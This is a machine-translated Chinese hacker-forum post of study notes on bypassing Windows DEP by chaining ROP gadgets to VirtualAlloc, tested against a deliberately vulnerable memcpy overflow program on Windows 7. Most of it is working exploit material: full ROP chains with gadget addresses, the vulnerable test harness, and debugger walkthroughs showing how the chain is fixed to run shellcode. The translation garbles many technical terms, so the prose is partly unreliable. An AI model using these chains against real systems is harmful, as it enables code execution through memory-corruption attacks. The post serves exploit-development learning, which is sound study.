跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Windows外壳代码学习笔记——利用虚拟分配绕过DEP


cnhackteam7

推荐的帖子

0x00 前言

接着介绍DEP绕过的另一种方法——利用虚拟分配绕过离开通过虚拟分配函数可以申请一段具有可执行属性的内存,相比于虚拟保护,传入虚拟分配的四个参数不需要先读取再赋值,可在外壳代码中直接指定,结构更简单。当然,利用抗干扰调试器的白腹长尾猴插件可自动构造利用虚拟分配绕过DEP的光栅化处理单元链。

0x01 简介

本文将要介绍以下内容:

调用虚拟分配函数时的病菌及修复

选择合适的替代指令,修改白腹长尾猴自动生成的钻进速度(渗透率的缩写)链,实现利用

利用虚拟分配绕过DEP时需要考虑的细节,如对外壳代码的长度要求

0x02 相关概念

VirtualAlloc:

LPVOID WINAPI VirtualAlloc(

LPVOID lpAddress,

SIZE_T dwSize,

DWORD flAllocationType,

DWORD flProtect

)

慢转的地址:申请内存区域的地址

dwSize:申请内存区域的大小

flAllocationType:申请内存的类型

flProtect:申请内存的访问控制类型

申请成功时函数返回申请内存的起始地址,申请失败时返回空

0x03 实际测试

测试环境:

测试系统:Win 7

编译器:VS2012

建设版本:发布

项目属性:

关闭(美国联邦政府职员)总表(总进度表)

关闭优化

关闭圣伊丽莎白医院

打开DEP

关闭ASLR

禁用c异常

禁用内部函数

注:

详细配置方法在上篇文章有说明

同样是测试memcpy的缓冲器溢出,测试无线一键通如下:

无符号(同Internationalorganizations)国际组织外壳代码[]=

{

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,

0x41414141,

0x41414141

};

无效测试()

{

充电缓冲器[48];

printf(' 3 \ n ');

memcpy(buffer,shellcode,sizeof(shellcode));

}

int main()

{

printf(' 1 \ n ');

test();

返回0;

}

编译成exe,使用抗干扰调试器打开

使用白腹长尾猴插件自动生成钻进速度(渗透率的缩写)链,输入:

!莫娜罗普-m * .dll -cp非空

查看rop_chains.txt,会列出可用来关闭DEP的光栅化处理单元链

选择虚拟分配函数,详情如下:

虚拟分配()的注册设置:

-

EAX=NOP (0x90909090)

ECX=flProtect (0x40)

EDX=flAllocationType (0x1000)

EBX=dwSize

ESP=lpAddress(自动)

EBP=ReturnTo (ptr到jmp esp)

ESI=ptr to VirtualAlloc()

EDI=ROP NOP (RETN)

-替代链-

EAX=ptr to VirtualAlloc()

ECX=flProtect (0x40)

EDX=flAllocationType (0x1000)

EBX=dwSize

ESP=lpAddress(自动)

EBP=弹出(跳过四个字节)

ESI=ptr到JMP [EAX]

EDI=ROP NOP (RETN)

将光电带读数机(photoelectric tape reader)放在普沙德下方的堆栈上的" jmp esp "

-

VirtualAlloc() [(XP/2003 Server及更高版本)]的光栅化处理单元链:

-

*** [ C ] ***

#定义CREATE_ROP_CHAIN(名称、) \

int name # # _ length=create _ ROP _ chain(NULL,# # _ _ VA _ ARGS _ _);\

unsigned int name[name # # _ length/sizeof(unsigned int)];\

创建_rop_chain(姓名,# # _ _ VA _ ARGS _ _);

int create _ ROP _ chain(unsigned int * buf,unsigned int)

{

//用mona.py - www.corelan.be生成的钻进速度(rate of penetration的缩写)链

无符号整数rop_gadgets[]={

0x693a2e92,//流行ECX//RETN[MSVCR110.dll]

0x693bd19c,//ptr to VirtualAlloc()[msvcr 110 . dll IAT]

0x69353486,//MSVCR110.dll MOV EAX,DWORD PTR DS:[ECX] //RETN

0x779f9dca,//XCHG EAX,ESI//RETN[ntdll.dll]

0x69370742,//流行EBP//RETN[MSVCR110.dll]

0x75dac58d,//调用esp[KERNELBASE.dll]

0x6932ea52,//流行EAX//RETN[MSVCR110.dll]

0xffffffff,//要求反的值将变为0x00000001

0x69353746,//NEG EAX//RETN[MSVCR110.dll]

0x75da655d,//XCHG EAX,EBX //ADD BH,CH//DEC ECX//RETN0x 10[kernel base . dll]

0x77216829,//流行EAX//RETN[kernel32.dll]

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0xa2800fc0,//将三角洲放入eax (-将0x00001000放入edx)

0x7721502a,//添加EAX,5d 800040//RETN0x 04

0x771abd3a,//XCHG EAX,EDX//RETN[kernel32.dll]

0x41414141,//填充符(RETN偏移补偿)

0x69329bb1,//流行EAX//RETN[MSVCR110.dll]

0xffffffc0,//要求反的值,将变成0x00000040

0x69354484,//NEG EAX//RETN[MSVCR110.dll]

0x771d0946,//XCHG ECX EAX//RETN[kernel 32 . dll]

0x6935e68f,//POP EDI//MSVCR110.dll RETN

0x69354486,//RETN(ROP NOP)[MSVCR110.dll]

0x693a7031,//流行EAX//RETN[MSVCR110.dll]

0x90909090,//nop

0x69390267,//普沙德//MSVCR110.dll RETN

};

如果(buf!=NULL) {

memcpy(buf,rop_gadgets,sizeof(ROP _ gadgets));

};

返回sizeof(ROP _ gadgets);

}

//在这个调用之后使用' rop_chain '变量,它只是一个无符号的int[]

CREATE_ROP_CHAIN(rop_chain,);

//或者,只分配一个足够大的缓冲区并获得钻进速度(rate of penetration的缩写)链,即:

//无符号int ROP _ chain[256];

//int ROP _ chain _ length=create _ ROP _ chain(ROP _ chain,);

测试1:

填入上述光栅化处理单元链,接着加上测试的命令:

推1;

波普ECX;

对应机器码为0x9059016A

组合后的无线一键通如下:

无符号(同Internationalorganizations)国际组织外壳代码[]=

{

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,

0x693a2e92,//流行ECX//RETN[MSVCR110.dll]

0x693bd19c,//ptr to VirtualAlloc()[msvcr 110 . dll IAT]

0x69353486,//MSVCR110.dll MOV EAX,DWORD PTR DS:[ECX] //RETN

0x779f9dca,//XCHG EAX,ESI//RETN[ntdll.dll]

0x69370742,//流行EBP//RETN[MSVCR110.dll]

0x75dac58d,//调用esp[KERNELBASE.dll]

0x6932ea52,//流行EAX//RETN[MSVCR110.dll]

0xffffffff,//要求反的值将变为0x00000001

0x69353746,//NEG EAX//RETN[MSVCR110.dll]

0x75da655d,//XCHG EAX,EBX //ADD BH,CH//DEC ECX//RETN0x 10[kernel base . dll]

0x77216829,//流行EAX//RETN[kernel32.dll]

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0xa2800fc0,//将三角洲放入eax (-将0x00001000放入edx)

0x7721502a,//添加EAX,5d 800040//RETN0x 04

0x771abd3a,//XCHG EAX,EDX//RETN[kernel32.dll]

0x41414141,//填充符(RETN偏移补偿)

0x69329bb1,//流行EAX//RETN[MSVCR110.dll]

0xffffffc0,//要求反的值,将变成0x00000040

0x69354484,//NEG EAX//RETN[MSVCR110.dll]

0x771d0946,//XCHG ECX EAX//RETN[kernel 32 . dll]

0x6935e68f,//POP EDI//MSVCR110.dll RETN

0x69354486,//RETN(ROP NOP)[MSVCR110.dll]

0x693a7031,//流行EAX//RETN[MSVCR110.dll]

0x90909090,//nop

0x69390267,//普沙德//MSVCR110.dll RETN

0x9059016A,//推送1 //弹出ECX

0x90909090,

0x90909090,

0x90909090,

0x90909090

};

无效测试()

{

充电缓冲器[48];

printf(' 3 \ n ');

memcpy(buffer,shellcode,sizeof(shellcode));

}

int main()

{

printf(' 1 \ n ');

test();

char Buf[]=

' x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

' x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

' x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

' x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

' x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

' x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 ';

返回0;

}

用OllyDbg打开,一步跟踪到VirtualAllocEx()函数的入口点。

2-1.png

见传入的函数参数如图。

应用程序存储区的起始地址是0x0012FF38。

应用程序存储区的大小为0x0000D101,十进制为53505。

应用程序内存的类型是0x00001000。

所请求存储器的访问控制类型为0x00000040,即PAGE_EXECUTE_READWRITE。

按F8进行单步跟踪,如图所示

2-2.png

返回值EAX为0,表示生成失败。

找原因,根据之前的经验,猜测是应用内存区过长。

测试2:

尝试修改内存大小。

应用程序存储区的起始地址是0x0012FF38,距离当前存储页(0x00130000-0x0012FF38)的末尾200个字节。

修改后的内存长度小于或等于200以满足条件。

2-3.png

如上所示,将内存长度设置为200(0x000000C8)

按下F8一步跟踪,如下图所示

2-4.png

应用成功,函数返回应用内存的起始地址。

请注意,这是当前存储器页面的起始地址:0x0012F000(而不是传入的存储器起始地址0x0012FF38)。

测试3:

再次,设置长度为201,分配内存失败。

根据上面的测试结果,猜测VirtualAllocEx()函数不能跨内存页请求内存。

测试4:

继续测试,设置长度为1,函数返回当前内存页的起始地址:0x0012F000,shellcode执行成功。

说明传入函数的长度对分配的内存没有影响,但在加上被请求内存的起始地址后,必须小于当前内存页的长度。

也就是说,在溢出过程中,VirtualAllocEx()函数请求的内存大小是一个固定值。

现在,我们已经通过手动修改堆栈地址实现了绕过DEP。接下来我们会寻找合适的替换指令,构建自己的ROP链,解决mona自动生成带来的BUG。

PUSHAD表示按照EAX、ECX、EDX、EBX、ESP、EBP、ESI和EDI的顺序堆叠所有寄存器的值。

跟踪到PUSHAD,如图所示。

2-5.png

EBX存储内存的长度需要修改为小于201的值。

0x04 查找替代指令,构造ROP链

在rop.txt中查找合适的替代指令

2-6.png

如上所示,搜索关键字EBX以找到合适的替代说明:

0x771c80a2 : # XOR EAX,EAX #波普EBX # RETN * *[kernel32.dll]* * | { PAGE _ EXECUTE _ READ }

异或EAX,EAX清除寄存器EAX的值。

Popx从堆栈顶部取值,并将其赋给POP EBX。

选择一个合适的位置,并为EBX赋值。应该指出的是:

此指令清除寄存器EAX的值,因此需要找到一个与寄存器EAX的值无关的位置。

POPX会读取下一条指令的内容并赋给EBX,所以跟着EBX的值走就好了,比如0x0000028,//set EBX=0x00000028 (40)

找个合适的位置放在0x693a7031前面,//pope ax//retn[MSVCR110.dll]

完整的外壳代码如下:

无符号int外壳代码[]=

{

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,0x90909090,0x90909090,0x90909090,

0x90909090,

0x693a2e92,//流行ECX//RETN[MSVCR110.dll]

0x693bd19c,//ptr to VirtualAlloc()[MSVCR110.dll IAT]

0x69353486,//MSVCR110.dll MOV EAX,DWORD PTR DS:[ECX] //RETN

0x779f9dca,//XCHG EAX,ESI//RETN[ntdll.dll]

0x69370742,//流行EBP//RETN[MSVCR110.dll]

0x75dac58d,//调用esp[KERNELBASE.dll]

0x6932ea52,//流行EAX//RETN[MSVCR110.dll]

0xffffffff,//要求反的值将变为0x00000001

0x69353746,//NEG EAX//RETN[MSVCR110.dll]

0x75da655d,//XCHG EAX,EBX //ADD BH,CH//DEC ECX//RETN0x 10[KERNELBASE.dll]

0x77216829,//流行EAX//RETN[kernel32.dll]

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0x41414141,//填充符(RETN偏移补偿)

0xa2800fc0,//将delta放入eax (-将0x00001000放入edx)

0x7721502a,//添加EAX,5d 800040//RETN0x 04[kernel32.dll]

0x771abd3a,//XCHG EAX,EDX//RETN[kernel32.dll]

0x41414141,//填充符(RETN偏移补偿)

0x69329bb1,//流行EAX//RETN[MSVCR110.dll]

0xffffffc0,//要求反的值,将变成0x00000040

0x69354484,//NEG EAX//RETN[MSVCR110.dll]

0x771d0946,//XCHG ECX EAX//RETN[kernel32.dll]

0x6935e68f,//POP EDI//MSVCR110.dll RETN

0x69354486,//RETN(ROP NOP)[MSVCR110.dll]

0x771c80a2,//# XOR EAX,EAX #波普EBX # RETN[kernel32.dll]| { PAGE _ EXECUTE _ READ }

0x00000028,//设置EBX=0x00000028(40)

0x693a7031,//流行EAX//RETN[MSVCR110.dll]

0x90909090,//nop

0x69390267,//普沙德//MSVCR110.dll RETN

0x9059016A,//推送1 //弹出ECX

0x90909090,

0x90909090,

0x90909090,

0x90909090

};

编译,用OllyDbg打开,一步跟踪到VirtualAllocEx()函数的入口点。

2-7.png

见传入的函数参数如图。

内存长度修改为0x00000028(40),其他传入参数正常。

继续运行,回车调用ESP,shellcode成功执行。

0x05 小结

使用VirtualAlloc绕过DEP,就像使用VirtualProtect绕过DEP一样,需要注意内存页面长度的限制,不能跨页面修改或申请内存,这就需要shellcode的长度。

当然正常调用API实现VirtualProtect和VirtualAlloc也不会出现跨内存分页失败的情况。

mona自动生成的rop链可以作为参考模板,结合rop.txt中的备选指令可以构造更适合的ROP链

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...